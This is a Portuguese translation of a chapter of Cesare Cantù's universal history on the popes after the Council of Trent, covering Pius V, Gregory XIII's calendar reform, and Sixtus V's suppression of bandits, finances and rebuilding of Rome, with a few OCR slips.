Papas posteriores ao Concílio de Trento – História Universal

Papas posteriores ao Concílio de Trento – História Universal

table.main {}
tr.row {}
td.cell {}
div.block {}
div.paragraph {}
.font0 { font:8.00pt “Book Antiqua”, serif; }
.font1 { font:9.00pt “Book Antiqua”, serif; }
.font2 { font:10.00pt “Book Antiqua”, serif; }
.font3 { font:11.00pt “Book Antiqua”, serif; }
.font4 { font:8.00pt “Cambria”, serif; }

História Universal – Césare Cantu

CAPÍTULO XXVII

Papas posteriores ao Concílio de Trento

A reforma católica, depois do Concílio de Trento, manifestou-se também nos pontífices não obstante haver grande número que se entregaram a interesses e a sentimentos mundanos. Miguel Ghislieri, de Alexandria no Piemonte, homem de uma religião severa e de uma vida puríssima, andava sempre a pé. Êle isentou, como prior, vários conventos das dívidas que os oneravam; inquisidor em Bérgamo e em Como, ostentava extremo rigor, apesar das injúrias e das ameaças. Promovido ao cardinalato, não mudou de modo de proceder, mesmo depois de eleito papa com o nome de Pio V (1566). Dizendo: Que os que querem governar os outros comecem por se governar a si, êle restringiu as despesas, e impôs a si mesmo um regime inteiramente monacal; não sentia satisfação senão no austero cumprimento de seus deveres, na meditação e adoração fervorosa, de onde se levantava com as lágrimas nos olhos. Uma semelhante perfeição produz de ordinário a confiança em sua própria vontade, e a obstinação em domar a de outrem.

Efetivamente, Pio V impunha uma disciplina tão rigorosa como se ainda se estivesse nos primeiros tempos do cristianismo. Êle expulsou as prostitutas, reprimiu o luxo dos vestidos, aboliu a ordem dos irmãos humilhados; publicou um missal e um breviário novos; proibiu o feudo das terras da igreja por qualquer motivo que fosse; mostrou-se econômico em dispensas e indulgências; proibiu aos curas, a facilidade de se ausentarem de suas paróquias, restabeleceu a regra nos conventos; reapertou a clausura das religiosas; e, ajudado por bispos zelosos, melhorou grandemente a igreja da Itália. Os príncipes, convencidos de que as mudanças políticas seguiam a mudança de religião, conciliaram-se então com Roma: em toda parte a Inquisição foi fortalecida, e os autos de fé multiplicaram-se na Espanha. Carnesecchi, entregue ao papa por Cosme de Médicis, morreu queimado, e tal foi também a sorte de Güido Zanetti, que Veneza entregou em suas mãos.

A ardente piedade de Pio V não o impedia, efetivamente, de ser perseguidor como o seu século, Êle excitava aqueles que combatiam os huguenotes, e mandava-lhes da Itália tropas e dinheiro (1). Enviou ao duque de Alba o capelo bento. Animado do desejo de ver a Inglaterra dominada, êle tinha não somente prometido aos vencedores repartir com eles todos os bens da igreja, mas também ir em pessoa dirigir a guerra. Melhor inspiração lhe tinha feito propor uma aliança geral dos cristãos contra os turcos.

(1) Êle dizia a Carlos IX, no breve que acompanhava esses socorros: "Rogamos ao Deus dos exércitos dar a Vossa Majestade completa vitória sobre os seus inimigos… esperando que, se êle conceder este favor a Vossa Majestade, ela o empregará gloriosamente para vingar não só as suas injúrias, mas também os interesses divinos, e punir severamente os horríveis atentados, ou sacrilégios abomináveis cometidos pelos huguenotes, mostrando-se assim justo executor dos decretos de Deus". O conde Sforza de Santa Fiora comandava esse exército italiano, e as vinte e sete bandeiras que êle tirou aos hereges foram penduradas com grande pompa na basílica de Latráo em 1570.

Em suma, logo que Pio V ligava fosse ao que fosse a idéia de dever não respeitava coisa alguma; pelo que os cardeais eram muitas vezes obrigados a lhe lembrarem que êle não tratava com anjos. Êle pretendia manter em toda a sua força a bula In coena Domini, e recusar aos príncipes o direito de impor novos ônus a seus súditos; ora, como nem os tempos, nem os soberanos admitiam já estas pretensões, êle ganhou com isso sérias contrariedades. O próprio Filipe II, que rejeitava essa bula e sustentava que lhe faltava o exequatur real, chegou a escrever-lhe qua não se expusesse voluntariamente ao risco de ver até onde pode ir um rei poderoso levado à última extremidade.

Quando conheceu próximo o fim da sua vida, Pio V visitou as sete igrejas e beijou os degraus santos para se despedir desses lugares sagrados. A sinceridade da sua devoção fêz com que, apesar da sua aspereza intratável, êle fosse durante a sua vida amado pelo povo, que o venerou depois como um santo.

Hugo Buoncompagni, de Bolonha, promovido ao pontificado com o nome de Gregório XIII (1572), mostrou-se pelo contrário, conciliador e clemente, mesmo com prejuízos da justiça. O sentimento de moralidade que se tinha introduzido na corte de Roma levou-o a reprimir as suas inclinações mundanas; e se favoreceu um filho que tinha, nada fêz em favor de seus sobrinhos. Exato, finalmente, no cumprimento dos deveres de chefe dos fiéis, empregou-se em elevar os mais diqnos às sedes episcopais, e em derramar a instrução. Mais de vinte colégios foram fundados por êle, em cujo número o colégio de todas as nações, na abertura do qual foram pronunciados discursos em vinte e cinco línguas. Êle reconstituiu o colégio germânico, foco de ascetas zelosos; outros para os gregos, que eram ali educados à maneira da sua pátria, com a sua língua e seus ritos; outros também oara os maronitas e os inqlê-ses. Reviu o decreto de Graciano, e reformou o calendário que imortalizou o seu pontificado.

Notamos no lugar competente que Júlio César, para reformar o calendário que então seguiam os romanos, tinha fixado o equinócio da primavera em 25 de março, e dado ao ano a duração de trezentos e sessenta e cinco dias e seis horas. Sendo a diferença com a sua duração real onze minutos e doze segundos, resultava daí que o equinócio se adiantava um dia em cada cento e vinte e nove anos. A igreja, que devia aolicar a sua atenção a este ponto por causa do dia de Páscoa, que deve cair na Lua cheia seaundo o equinócio da primavera, achou que em 325, por ocasião do Concílio de Nicéia, esta solenidade tinha sido celebrada a 23 de março, sem que estes padres tivessem sabido indicar a razão disso. Em 1275 a precessão era de onze dias, e já se tinha falado então de uma reforma que, muitas vezes tentada, não tinha jamais sido levada a efeito. Tinha-se tratado disso em todos os concílios, e mais ainda no de Trento. Finalmente, Greqório XIII. tendo reunido em Roma os personagens mais versados neste nênero de estudos, entre os quais Inácio Danti de Perúsia e o jesuíta Clavius de Bamberq, recebeu diferentes pronostas de reforma: mas a verdadeira fórmula foi achada por Luís Lílio, médico calabrês, e completada por seu irmão Antônio. O pana mandou cópia dela a todos os príncipes, às Repúblicas e às academias. Com a sua aprovação, êle promulgou em 1582 o novo calendário, em que suprimia dez dias entre o 5 e o 15 de outubro. O ano foi fixado em trezentos e sessenta e cinco dias, cinco horas e quarenta e nove minutos, e determinou-se que de quatro em quatro anos não houvesse senão um bissexto, correção de tal modo próxima da verdade, que será preciso quatro mil, duzentos e trinta e oito anos para formar um dia dos minutos que excede a cifra real.

É verdade que então se teria podido começar o ano no solstício, fazer corresponder todos os meses à entrada do Sol nos diferentes signos do zodíaco, e dar trinta e um dias aos meses que se acham entre o equinócio da primavera e o de outono, trinta aos outros meses, fazendo o mês de dezembro mais curto. Estes motivos, e mais ainda a antipatia para tudo quanto vinha de Roma, foram causa de que houvesse demora em o adotar. Os protestantes da Alemanha não se resolveram a isso senão em 1699; a Holanda, a Dinamarca e a Suíça, em 1700; a Inglaterra, em 1752; a Suécia, no ano seguinte. Ainda hoje êle não é admitido pelos russos, que por conseguinte estão em atraso de treze dias.

Gregório XIII esforçou-se por manter a liga formada contra os turcos; êle forneceu socorros de dinheiro ao imperador e aos cavaleiros de Malta, declarou-se a favor da independência da Irlanda, e regozijou-se com a notícia da matança de São Bartolomeu. Já não eram os tributos da cristandade que ocorriam às despesas das empresas pontifícias, mas sim o tesoureiro do Estado: no entanto, como não queria obter dinheiro por meio de novos impostos nem por concessões espirituais, este pontífice tratou de suprimir certos privilégios concedidos aos estrangeiros e diversos abusos explorados pela nobreza, assim como de fortalecer a autoridade soberana, fazendo reivindicar pela câmara apostólica diferentes castelos a que seus donos tinham perdido o direito ou que estavam em atraso de pagamento e reunindo aqueles que tinham sido vendidos ou hipotecados; mas afastou o comércio, levantando os direitos de alfândega em Ancona.

Estas medidas produziram descontentamento e uma resistência manifesta. Renasceram as antigas facções dos guelfos e dos gibelinos; os assassinatos e os fratricídios multiplicaram-se, e, formaram-se bandos de salteadores que, tendo à sua frente Piccolomini e os Malatesta, exerceram terríveis justiças e numerosas devastações.

Os Estados vizinhos, que Gregório XIII tinha indisposto por uma tenacidade em defender os direitos pontifícios, não desgostaram de o ver empenhado nestes embaraços interiores: por conseguinte, davam asilo aos bandidos, quando os viam perseguidos de muito perto. Como a força não produzia mais resultado do que a excomunhão, foi preciso renunciar às confiscações e dar absolvição. Afonso Piccolomini ocupou monte Abbodo e mandou supliciar seus inimigos, enquanto que seus bandidos executavam danças selvagens. Percorrendo como senhor o campo de Roma, êle mandava dizer aos habitantes de Corneto que fizessem às pressas a colheita, por isso que êle devia vir queimar a seara de Latino Orsini; tendo apanhado um correio, tirou-lhe as cartas de que êle era portador, e não lhe tocou no dinheiro. Na impossibilidade de o subjugar, o papa acabou por lhe permitir de vir a Roma pedir o seu perdão; êle foi lá, alojou-se ao palácio de Médicis, e apresentou, para obter a absolvição pontifical, uma lista de assassinatos tão extensa, que o papa estremeceu de horror; porém a sua emoção foi muito mais viva ainda quando ouviu declarar que era preciso absolver Piccolomini, ou esperar ver seu filho assassinado.

Sixto V (1585) (Félix Perretti) mostrou-se capaz de reprimir tantas desordens. Quando, muito novo ainda, êle guardava os porcos de um rendeiro, um religioso franciscano, seu tio, tomou-o à sua conta para o educar, e fê-lo frade. Tendo-se elevado de grau em grau, e reunindo aos que procuravam restaurar, êle chegou ao papado sem lá se achar surpreendido por parentes. Êle empregou seus talentos robustos, seu caráter imperioso e violento em restituir ao papado, que tinha ganho em respeito, a sua influência passada e mesmo o seu esplendor externo.

Sixto V licenciou grande parte das tropas e dos agentes de polícia; porém quis que os decretos pontificais fossem executados sem atenção com quem quer que fosse, de modo que se fizesse entender que Sixto reinava. Era preciso, para obter este resultado, remediar a dois enormes embaraços, o vazio do tesouro e a audácia dos bandidos. No mesmo dia da sua coroação, os que se dirigiam para as festas do Vaticano pela ponte de Santo Ângelo viram quatro mancebos enforcados nas ameias do castelo, por terem sido apanhados com armas curtas.

Êle mandou depois fazer uma lista de todos os vagabundos, ratoneiros, espadachins ociosos, e renovou os bandos que ofereciam prêmio pela cabeça dos salteadores, ordenando todavia que a recompensa fosse paga não pela câmara apostólica, mas pelos parentes ou pela comuna do contumaz, com obrigação para esta ou para o senhor, em cujas terras fosse cometido o latrocínio, de se sujeitar à reparação. Êle foi favorecido por Filipe II, cujas fronteiras lhes ofereciam habitualmente refúgio; e a impunidade prometida àqueles que entregassem um de seus camaradas, morto ou vivo, derramou o terror por entre aqueles aue dantes se faziam temer tanto. A cabeça do padre Guercino, que se fazia chamar Rei do campo, foi paga por dois mil escudos, e exposta coroada sobre a ponte de Santo Ângelo. Della Fara mandou sair uma vez os guardas da porta Salara, levou-os, à paulada, diante de si, e recomendou-lhes que fizessem os seus cumprimentos ao papa. Porém Sixto V deu ordem a seus parentes de lho entregarem, sob pena de serem enforcados todos; e, como vissem que êle falava seriamente, foi obedecido. O duque de Ur-bino mandou a trinta refugiados, que tinham procurado asilo em suas terras, jumentos carregados de víveres envenenados. O conde João Pepoli foi estrangulado na prisão, e mulheres, mães de bandidos, foram mandadas a suplício por lhes terem procurado abrigo. Um Transteverino parecia muito moço para ser executado: Pois bem! disse Sixto V, juntemlhe alguns de meus anos. Foi com esta altivez oriental, que, segundo o ditado vulgar, não teria perdoado ao próprio Jesus Cristo, que êle conseguiu, em menos de um ano, restituir a tranqüilidade ao país; porém mais tarde viu-se renascer a vitalidade rigorosa dos salteadores, e até aos nossos dias eles infestaram as montanhas que se estendem de Áquila a Terracina entre o Tibre e o Garigliano (1).

(1) Em 1557 uma notificação do comissário de Paulo IV pôs fora da lei, como salteadores, os habitantes de Montefortino e ordenou, com o seu banimento, a destruição da aldeia e a confiscação do território, o que foi executado; e espalhou-se sal sobre as ruínas. A 18 do julho de 1819 o cardeal Gonsalvi procedia do mesmo modo com Sonnino, que foi também destruído. Nós temos visto todos os rigores do papa Sixto V renovarem-se em nossos dias, nem menos tem sido preciso para dar segurança aos viajantes; porém seria preferível melhorar o governo e derramar a instrução pelos campos, do que mandar cercar seus habitantes pelos carabineiros. As boas instituições poupam trabalho aos carcereiros e ao carrasco.

Não é portanto surpreendente que a memória de Sixto V tenha ficado popular, como acontece com os grandes caracteres, nem que lhe hajam feito honra de instituições e de medidas muito anteriores ao seu pontificado. Inexorável para as culpas individuais e para a transgressão das leis, mostrava-se indulgente nos atos gerais, e benévolo para com quem obedecia. Êle concedeu à confraria piedosa instituída no tempo de Gregório XIII para socorrer os presos, os direitos de eleger um visitador das prisões, com poder de soltar, em cada primeira segunda-feira de quaresma, um condenado mesmo sujeito à pena capital; obrigou os reis a transigirem sobre suas pretensões, e fêz com que lhe fossem tão dedicados quanto eles tinham sido hostis ao seu predecessor. Êle ganhou a afeição dos senhores do país, concedeu grandes privilégios às cidades da Romênia, restituiu à Ancona alguns antigos direitos, e estabeleceu um arcebispado em Termo, um bispado em Tolentino, outro em Montalto, seu país natal. Loreto foi por êle levado à categoria de cidade; êle melhorou a administração das cidades, favoreceu a agricultura, e ocupou-se com a recuperação dos pântanos Pontinos e dos de Orvieto; duzentos mil escudos foram despendidos com abrir através dos primeiros o grande canal que conserva o seu nome. Mandou plantar, com ameaça de castigo, amoreiras em toda a parte, estabeleceu celeiros, e favoreceu as fábricas de seda e de lã.

Êle fixou em setenta e dois dias, o número dos cardeais (1), e às suas sete congregações do índex, da Inquisição, da execução e interpretação do concílio, dos bispos, das ordens regulares, da assinatura e da consulta, acrescentou mais oito, uma para a fundação de novos bispados, outra para os ritos; o resto, para tratar da conservação das estradas, da abolição dos impostos, das construções militares, da imprensa do Vaticano e da Universidade de Roma. Mandou construir dez galeras e consignou setenta mil escudos à marinha.

(1) Os cardeais-bispos suburbicários, isto é, de Velletri. Porto Santa Ruíina, Cività Vecchia, Frascati. Albano, Palestina e Sabina; os outros, diácono».

Se lhe acontecia gabar-se a todo instante da sua economia, não era sem razão. Êle achou o tesouro exausto, e num ano o tesouro tinha de excedente um milhão de escudos de ouro; outro tanto sucedeu nos anos seguintes. Apenas se amontoava um milhão, mandava-o depositar no castelo de Santo Ângelo, con-sagrando-o à Virgem Santa e aos apóstolos, assim como os padres do Antigo Testamento conservavam seus tesouros no templo, para lhes tocarem somente em circunstâncias graves (1), economia errônea, mas perdoável num tempo em que ainda não se sabia que o dinheiro só tem valor quando posto em circulação.

Sixto V restringiu as despesas e os ofícios da corte. Como encontrasse já estabelecido o uso de vender os cargos, levantou-lhes o preço, e introduziu outras funções. Êle aumentou os moníi, vacabili ou não; lançou impostos sobre todos os cargos e sobre os víveres mais indispensáveis: chegou mesmo a alterar as moedas. Era na verdade uma concepção extravagante sobrecarregar o país e fazer empréstimos, para enterrar fundos improdutivos. Todavia este pontífice foi admirado, porque se admira sempre a força que é bem sucedida, e conseguiu, por estes meios, restituir à tiara uma parte do seu esplendor eclipsado.

(1) No mês de março de 1793, Cacault escrevia à Convenção nacional, que existia ainda no castelo Santo Ângelo, um milhão de escudos do tesouro de Sixto V.

Causa maravilha que, com tanta parcimônia e com um modo de pensar tão político, êle formasse projeto, grandioso e fantástico. Concebeu a esperança de destruir o Império Otomano, e negociou a esse respeito com a Pérsia, com os drusos e com alguns chefes árabes. Mandou equipar galeras a que a Espanha e a França deviam juntar outras, ao mesmo tempo que Estêvão Bathori partiria da Polônia para romper a primeira lança. Quando viu desvanecer-se este projeto, pensou em conquistar o Egito, com a intenção de reunir o Mar Vermelho ao Mediterrâneo, a fim de reconduzir o comércio à sua antiga via; e até que chegasse o momento de recuperar a terra santa, propunha-se a tirar dela o Santo Sepulcro para o erigir em Montalto, ao pé da santa casa de Loreto. Diz-se mesmo que êle abriu negociações com Henrique III, no intuito de lhe fazer adotar um de seus sobrinhos por herdeiro: tanto se persuadia êle que a cristandade toda devia entrar em seus projetos!

É certo que o pontificado se restaurava depois de tantas perdas, e já não recebia suas forças dos tributos exteriores, mas do patrimônio romano. Êle não podia aspirar o domínio na Itália, desde o momento em que os estrangeiros lá tomaram raízes; mas, em compensação, o território não podia ser alienado aos descendentes, e vinha em auxílio da influência espiritual. O estado da igreja, cuja produção era florescente e fecunda, abastecia Veneza, Gênova e Nápoles. Ora, avalia-se que em 1589 se exportou cerca de quinhentos mil escudos em trigo, independentemente do linho de Faenza, dos canhamos de Perúsia e de Viterbo, que fornecia também linho: dos vinhos de Cecena, de Montefiascone e de Orvieto, do azeite de Rímini, do maná de São Lourenço, do pastel de Bolonha, dos cavalos da Campânia, da veação de Terracina, dos peixes, das salinas, das pedreiras de mármore e de outras produções assinaladas pelos embaixadores e pelos viajantes. Ancona recomeçou a comerciar com os gregos e com os turcos; certas casas faziam ali cerca de quinhentos mil ducados de negócios num ano, e iam lá caravanas de todos os países. Os romanos conservavam a sua reputação de bravura, os melhores soldados eram recrutados dentre eles, que ostentavam, com Alberico de Barbiano e com o duque de Urbino, um valor digno de mais nobre causa.

O governo papal tinha-se firmado, como os outros governos italianos, restringindo as franquias municipais; as cidades tinham conservado em parte as suas terras, e as faziam valer; algumas delas administravam seus bens, levantavam soldados e contribuições, assinavam estipêndios. Júlio II não sujeitou nenhuma, durante a guerra de Veneza, sem estipulações preliminares; esta relação especial de direito público era chamada libertas ecclesiastica. Às vezes os governadores eram seculares, mas as cidades consideravam como uma honra tê-los pertencentes ao clero.

Havia em cada comuna corpos que gozavam privilégios, tais como os nobres, os cidadãos, a municipalidade; mas não se conheceu nunca nos Estados pontifícios as constituições provinciais. Estes Estados assemelhavam-se, portanto, ao Estado veneziano, onde a autoridade soberana se achava também nas mãos das comunas, que muitas vezes tinham outras comunas debaixo da sua dependência; e a corte pontifícia dominava superior a elas em Roma, como a nobreza em Veneza. Ao passo que em Veneza o corpo supremo, composto da nobreza hereditária, considerava os direitos do governo como uma propriedade paterna, os elementos mudavam em cada conclave na corte romana, pela introdução de parentes e de compatriotas do novo papa. Em Veneza os empregos eram conferidos pelo corpo, em Roma pelo chefe; acolá leis severas faziam conter os governadores, aqui só a esperança de adiantamento os mantinha no dever.

As constituições que Veneza dava eram portanto mais estáveis; as do Estado papal dependiam da vontade do pontífice. Enquanto que a classe média e o povo miúdo eram quietos e laboriosos, os nobres, que tinham em seu poder a administração municipal, viviam numa inquietação constante, não se ocupando nem de indústria, nem de artes, não tendo mesmo educação superior à das outras classes; eles não esqueciam os nomes de guelfos e de gibelinos que aplicavam às novas dissensões. Distinguiam-se pelo trajo, "pela maneira de cortar o pão, de cingir a espada, de trazer o penacho, um laço ou uma flor no chapéu, ou na orelha". Não havia cidade, não havia família, que não estivesse alistada debaixo de uma ou de outra bandeira, e eles exerciam seus ódios cercando-se de espadachins, ou comprando seus serviços na ocasião oportuna.

Esta desunião e ciúmes tiravam às cidades a força para sustentar os direitos municipais; porque cada facção se aplicava a captar o novo legado, em vez de procurar refreá-lo; e êle se via na necessidade de seguir uma delas.

Os senhores do campo, que faziam ostentação de hospitalidade e de luxo, tinham relações com os da cidade, mas principalmente com os proprietários do país, que dependiam deles à maneira patriarcal, e alguns dos quais, tendo ficado livres, favoreciam uma ou outra facção, e portanto davam ordem a se fazer bem vista daquele que estava à sua frente.

As desordens da Idade Média reviviam portanto, e aplicavam-se-lhes os mesmos remédios. Algumas vezes os homens pacíficos formavam alianças com a Santa União organizada em Fano para reprimir os assassinatos e os latrocínios, debaixo de juramento de manter a paz pública, mesmo com risco de sua vida. Esta associação estendeu-se por toda a Romênia, com o nome dos Pacíficos, e daí resultou uma espécie de magistratura plebéia, o que naturalmente favoreceu, tanto como as rivalidades das comunas, o aumento do poder público. O Estado fundava-se assim não sobre a ordem, mas sobre as inimizades, sobre a desconfiança, e sobre a posição entre a força e a lei.

Durante as freqüentes vagaturas do trono pontifical, as cidades erguiam de novo a cabeça e os antigos senhores procuravam recobrar a sua dominação; mas as cidades e os senhores deviam estar sempre alerta, por medo de que um parente do papa ou algum cardeal obtivesse direitos em seu prejuízo, para se remirem de tal à custa de dinheiro ou com representações, e às vezes por meio de força. Se elas sucumbiam em sua tentativa, resultava daí um aumento de encargos. Faenza festejava todos os anos o dia em que ela tinha posto fora, numa verdadeira batalha, os suíços de Leão X (1521), e Iesi, aquele em que se subtraíra à tirania do prolegado (1528). Ancona, pelo contrário, foi mantida em sujeição por meio de tropas e de uma fortaleza (1532); Perúsia, que se tinha recusado ao imposto do sal, foi fulminada de interdição, e Pedro Luís Farnese, tendo-a subjugado pelas armas (1540), anulou seus antigos privilégios.

Se se der ouvidos às queixas universais dos estrangeiros sobre a enorme quantidade de ouro que era enviada a Roma antes da reforma, acreditar-se-á que êle devia lá abundar; mas aí acontecia como na Espanha: de fato, bem pouco chegava às mãos dos papas, que, pelo contrário, estavam reduzidos a uma tal penúria, que Pio II teve de limitar-se a uma comida por dia, por falta de dinheiro, e de pedir emprestados duzentos mil ducados para a expedição contra os turcos. Tendo a maior parte dos empregos sido vendidos, os produtos deles passaram para as mãos dos compradores. Contava-se em 1471 até seiscentos e cinqüenta cargos venais, cujo rendimento era avaliado em cem mil escudos. Que recurso restava portanto nas ocasiões de necessidade? A criação de novos empregos, indulgências e jubileus, meio financeiro inteiramente especial. Além disso, inventavam-se títulos e novas funções, coisa que Sixto IV abusou extremamente. Inocêncio VIII, obrigado a empenhar até a tiara, instituiu um novo colégio de vinte e seis secretários, por sessenta mil ducados; Alexandre VI, oitenta expedientes de breves, mediante setecentos e cinqüenta escudos cada um; Júlio II ajuntou-lhes mais cem para os arquivos, pelo mesmo preço; e foi louvado por ter sabido achar dinheiro em toda ocasião. Ora, êle o conseguia administrando a igreja como o faria ao Estado, isto é, vendendo e arrendando os empregos.

Leão X, que, independentemente das guerras a sustentar, ostentava uma extrema magnificência, pôs em venda cerca de mil e duzentos cargos novos. Os que neles eram apossados pagavam um capital, cujos prêmios lhes eram abonados durante a sua vida: cumpre portanto considerar estas operações menos como vendas do que como empréstimo ou rendas vitalícias, porque elas chegavam a produzir oito por cento do capital. Fêz-se face a esta despesa em parte por meio de um leve aumento sobre as taxas curiais, em parte com o excedente do que se recebia dos municípios do Estado, das minas de pedra-ume, do monopólio do sal e da alfândega de Roma.

Resultou daí tal prosperidade financeira, que não foi preciso tornar a aumentar os encargos do Estado: este era, com tudo isso, aquele que menos despendia, porque não era obrigado como os outros a sustentar grandes exércitos, que em toda a parte são a ruína do tesouro público.

Porém, logo que as caixas do Estado cessaram de dar excedente, as finanças deviam cair em desordem. Ora, tanto por causa da reforma como em virtude dos obstáculos postos pelos soberanos, à exportação do numerário, Leão X deixou-as num estado tão deplorável, que Adriano se viu na necessidade de sobrecarregar cada fogo com meio ducado, o que ocasionou grave descontentamento.

Clemente VI, depois dele recorreu a um simples empréstimo de duzentos mil ducados a dez por cento, transmissível aos herdeiros, monte non vacabile, seguro sobre as alfândegas; mas os capitalistas pretenderam tomar parte na administração. Os pontífices sucessivos amplificaram este empréstimo. Paulo III introduziu outra inovação, renunciando aumentar o preço do sal; estabeleceu o subsídio, imposto direto que êle prometia abolir depois, e que já existia, com diferentes nomes, nos outros países meridionais (1); trezentos mil escudos foram assim repartidos pelas províncias, sem isenção de qualidade alguma. As cidades queixaram-se fortemente; Bolonha livrou-se dele mediante um capital pago de pronto. Forçoso foi perdoar uma porção ou mesmo a totalidade a outras cidades, e muito foi se chegou metade do tesouro pontifical. Seja como fôr, os rendimentos do Estado, que subiam no tempo de Júlio II a trezentos e cinqüenta mil escudos, a quatrocentos e vinte mil no de Leão X, a quinhentos no de Clemente VII montavam, quando Paulo III morreu, a setecentos e seis mil quatrocentos e vinte e três escudos.

(1) Em Nápoles, dom gratuito; em Milão, donativo mensal; na Espanha, serviço.

Foi contudo preciso, nos tempos que se seguiram, recorrer a novos expedientes, e lançar impostos sobre a farinha, sobre a carne e outros objetos, arrendando sempre o produto das taxas ao pagamento dos credores. Segundo Leti, os papas arrecadavam de ordinário um milhão, duzentos e setenta mil escudos de ouro, e além disso quatrocentos e catorze mil por multa e direitos de chancelaria. Sixto V aumentou este rendimento com outros impostos exigindo o pagamento das dívidas antigas elevando as multas, e fazendo pagar aos judeus a proteção que eles obtinham do governo. Êle se viu obrigado a fazê-lo pela necessidade de sustentar os católicos, já contra os protestantes, já contra os turcos, porque os papas juntavam o exemplo às exortações. As novas capitações eram acompanhadas de vendas e de novas alienações. Por isso, ainda que o imposto aumentasse, a câmara apostólica não podia aproveitar senão muito pouco.

O Estado pontifício chegou portanto a estar tão endividado como os outros. A antiga independência sucumbiu debaixo de uma administração regular, e os hábitos militares perderam-se desde o momento em que não se manteve mais do que quinhentos homens de tropas, pela maior parte suíços. Essa foi contudo a época em que a cidade de Roma se renovou por assim dizer. Os longos desastres dos primeiros tempos da invasão, a barbárie, as guerras intestinas, e, talvez mais ainda do que o resto a transladação da Santa Sé para Avinhão, tinham-na despovoado. Quando os papas para lá voltaram, ela não era habitada senão por boieiros, descidos de suas montanhas e inospitaleiras planícies que bordam o Tibre; eles se tinham alojado em miseráveis casinholas, formando ruas estreitas, lamacentas, obscurecidas pelas saliências dos telhados e por arcadas lançadas de uma casa à outra. Os antigos edifícios estavam em ruína, as cabras pastavam sobre o Capitólio, as novilhas erravam pelo foro Romano; e, desde a igreja de São Silvestre até a porta dos Alamos (dei Popolo), não havia senão vergéis e pântanos, onde se ia à caça dos patos bravos.

Nicolau foi o primeiro que resolveu ornar Roma de edifícios em relação com a sua antiga majestade e nova grandeza; seus sucessores seguiram o seu exemplo, principalmente Júlio II e os Médicis. Novas construções povoaram as duas margens do Tibre, que Sixto V havia reunido pela ponte que tem o seu nome. Pode dizer-se que Júlio II, sem falar das maravilhas do Vaticano e da Chancelaria, reedificou a cidade baixa e a rua Júlia, paralela à da Longara. Os cardeais e os príncipes edificaram palácios à porfia uns dos outros; e os do Riário, dos Chigi, dos Farneses, dos Orsini, rivalizaram em beleza com as construções antigas, que excederam em comodidade.

O saque de Roma e a peste a despovoaram de novo; porém, no tempo de Pio IV, tornou-se a constituir, e os palácios ergueram-se de novo sobre as colinas abandonadas. O antigo Capitólio foi esquecido pelo povo, e ali se levantou majestosamente o palácio dos conservadores, obra de Miguel Ângelo. A mesma mão edificava, sobre o Viminal, Santa Maria dos Anjos, adaptando-lhe as admiráveis ruínas das termas de Diocleciano, a porta Pia abria-se sobre o Quirinal e as novas basílicas nada tinham a invejar às antigas.

Mas as sete colinas podiam repovoar-se inteiramente, enquanto a água lhes faltasse? Sixto V ousou empreender um trabalho digno dos antigos senhores do mundo. Êle conduziu à cidade, de uma distância de vinte e duas milhas, a Aqua Felice que, saindo de seu estreito trilho, como diz Tasso, brota viva e límpida, para contemplar Roma tal qual a viu Augusto.

Êle fêz então aplanar o terreno ao pé da Trindade dos Montes, e arranjar a subida em numerosos degraus que reúnem esta praça à da Espanha; abriu depois a via Felice, e as outras ruas que se dirigem para Santa Maria Maior. Tendo pouco conhecimento do belo clássico e das grandes obras profanas, êle não teve escrúpulo de abater o Settizonio do imperador Severo; e tencionava destruir o túmulo de Cecília Metella, e outros mais que lhe não pareciam senão ,’Uravancamentos. Demoliu o antigo palácio dos papas, venerável por causa da sua antiguidade e por suas próprias formas, para lhe substituir o palácio de Latrão, obra falta de caráter. Era com repuqnância que êle deixava, no Vaticano, o Laocoonte e Apolo; e se tolerou uma Minerva no Capitólio, foi com a condição de que a sua lança havia de ser convertida em cruz. Êle tirou às colunas de Trajano e Antonina o seu caráter profano, fazendo-as sobremontar das estátuas de São Pedro e de São Paulo, a fim de que, desse ponto elevado, os dois apóstolos parecessem vigiar sobre a cidade dos mortais. Depois de ter feito erigir no Vaticano o obelisco egípcio, mandou incrustar-lhe um pedaço da verdadeira cruz. para que os monumentos da impiedade fossem submetidos ao símbolo da fé nos mesmos luqa-res em que tantos mártires tinham padecido por ela. Os outros obeliscos de Latrão, de Santa Maria Maior, da praça do Povo foram erectos então; a cúpula de São Pedro arredondou-se nos ares; os dois colossos que tinham inscrito os nomes de Fídias e de PraxíteJes foram colocados em frente do palácio Quirino. Sixto V aumentou a biblioteca, assim como a imprensa grega e oriental; construiu também o grande hospital, ao longo do Tibre, para dois mil pobres.

A população, que, no tempo de Paulo IV, subiu apenas a quarenta e cinco mil almas, chegou, no tempo dele, a cem mil, gente de todas as nações, cujos costumes diversos ofereciam o golpe de vista mais extravagante, e que se ligava a diferentes cardeais, fazendo-lhes uma corte assídua, na esperança de que o seu protetor chegasse à suprema dignidade. Os favoritos e os parentes de cada pontífice formavam depois uma nova nobreza, cujas fortunas eram rápidas. Quando outrora os nobres se agrupavam em volta das duas famílias Colonna e Orsini, que andavam à testa de duas facções constantemente inimigas, Sixto V criou os príncipes do limiar, que tiveram direito a estar ao pé do trono do paoa quando êle assiste a Ofícios Divinos, e este direito êle o conferiu às duas famílias rivais, do que resultou que os outros se separaram delas, ou por inveja, ou por sentimento de sua inferioridade.

Inteiramente penetrado das doutrinas do poder espiritual e da idéia de que o poder real derivava do povo e da igreja, êle procurou reunir os Estados católicos da Alemanha, o imperador e o rei da Espanha, para o triunfo da ortodoxia; porém viu a liqa sucumbir na França, e excomungou Henrique V, a quem contudo estimava. Tendo reconhecido o perigo de deixar predominar a Espanha, inclinou-se para o lado da França. Foi assim que êle soube fazer-se respeitar e temer ao mesmo tempo dos gabinetes europeus; mas foi o último pontífice que tomou parte ativa nas vicissitudes políticas.

Os imperiais e os espanhóis tinham a pretensão de dar ordens ao conclave, do que resultava que as vagaturas se prolongavam, e que, durante este tempo, os bandos de Piccolomini e de Sciarra se reformavam. Introduziu-se depois o costume, entre os cardeais, na

sucessão do papa de se reunirem em volta do cardeal sobrinho, a fim de elegerem um deles para a Santa Sé; mas como quase nunca o conseguiam, tornavam-se oponentes, e chegavam de ordinário a nomear o pontífice na eleição seguinte.

